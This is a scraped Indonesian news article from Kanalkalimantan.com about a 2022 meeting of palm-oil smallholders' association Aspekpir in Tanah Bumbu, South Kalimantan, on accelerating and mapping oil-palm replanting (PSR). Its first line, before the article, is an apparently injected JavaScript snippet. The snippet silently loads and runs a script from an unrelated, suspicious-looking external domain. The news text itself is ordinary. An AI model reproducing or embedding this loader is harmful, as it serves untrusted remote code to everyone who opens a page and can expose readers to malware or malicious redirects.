(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BATULICIN – Dewan Pengurus Daerah (DPD) Asosiasi Petani Kelapa Sawit Perkebunan Inti Rakyat (Aspekpir) Indonesia Provinsi Kalimantan Selatan (Kalsel) menggelar pertemuan teknis percepatan dan pemetaan Peremajaan Sawit Rakyat (PSR) di Kabupaten Tanah Bumbu.
Acara yang dilaksanakan di Hotel Ebony Batulicin, Kamis (4/8/2022) dihadiri Sekretaris Daerah H Ambo Sakka, Ketua Harian DPP Aspekpir Indonesia Ir H Juwita Yandi, Ketua DPD I Aspekpir Kalsel Jayadi SP, Dewan Pengawas Aspekpir Kalsel Prof dr Husaini, dan Kepala Dinas Pertanian dan Ketahanan Pangan H Hairuddin SP. Perwakilan BPDPKS (Badan Pengelola Dana Perkebunan Kelapa Sawit), GAPKI (Gabungan Pengusaha Kelapa Sawit Indonesia), Ketua DPD II Aspekpir Kalsel dari 6 Kabupaten/Kota, serta para petani sawit dan tamu undangan.
Ketua DPD I Aspekpir Kalsel Jayadi mengatakan bahwa Kalimantan Selatan termasuk Tanah Bumbu memiliki potensi kekayaan alam yang besar dalam sektor perkebunan salah satunya perkebunan kelapa sawit, dimana PSR bertujuan meningkatkan produktivitas lahan sawit para petani.
Jayadi mengungkapkan bahwa saat ini umur tanaman perkebunan kelapa sawit di Tanah Bumbu telah mencapai diatas 15 tahun, oleh sebab itu perlu dilakukan peremajaan kelapa sawit dengan menggunakan benih unggul dan bersertifikat.
Baca juga: Buntut Penembakan Brigadir J, Irjen Ferdy Sambo Dimutasi Bersama Anak Buahnya
Adapun di Tanah Bumbu pada tahun 2021 telah terealisasi PSR seluas 1.000 hektare, sedangkan untuk di tahun 2022 lahan PSR di Kabupaten Tanah Bumbu ditargetkan penambahan seluas 800 hektare.
“Tujuan kita cuma satu, adalah bagaimana kita mendukung petani kita untuk bisa lebih baik dan lebih sejahtera,” kata Jayadi
Pihaknya mengakui masih banyaknya kendala yang dihadapi Aspekpir, salah satunya terkait dengan legalitas lahan yang kerap bermasalah.
Oleh sebab itu melalui pertemuan ini, Jayadi berharap pemerintah daerah dapat membantu mendukung upaya Aspekir dengan memberikan solusi terhadap kendala yang dihadapi tersebut.
“Ini sangat penting dalam membantu meningkatkan kesejahteraan daripada petani kita khususnya di Tanah Bumbu agar keberlanjutan dari perkebunan sawit kita ini lebih baik kedepannya,” ujar Jayadi.
Dilain pihak, Ketua Harian DPP Aspekpir Indonesia Juwita Yandi mengatakan, perlu adanya kolaborasi yang baik antara Aspekpir dengan pemerintah daerah dan instansi terkait.
Selain itu para petani juga dihimbau untuk aktif dalam memberikan saran dan masukan melalui pertemuan ini sehingga pelaksanaan PSR kedepannya dapat berjalan secara lebih maksimal dan dirasakan manfaatnya oleh para petani itu sendiri.
Sekretaris Daerah H Ambo Sakka memberikan apresiasi dan menyambut baik peran Aspekpir dalam membantu memberdayakan para petani sawit di Bumi Bersujud.
Sekda berharap pertemuan teknis ini dapat berjalan secara efektif dan efisien sehingga menghasilkan rekomendasi yang dapat ditindaklanjuti oleh pemerintah daerah.
“Pemerintah daerah siap khusus untuk mendukung hal tersebut, memberikan perhatian terkait hal-hal yang perlu dikembangkan bagi kemaslahan para petani sawit di Kabupaten Tanah Bumbu,” kata Sekda. (Kanalkalimantan.com/ftr)
Reporter : ftr
Editor : kk
Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More
KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More
This website uses cookies.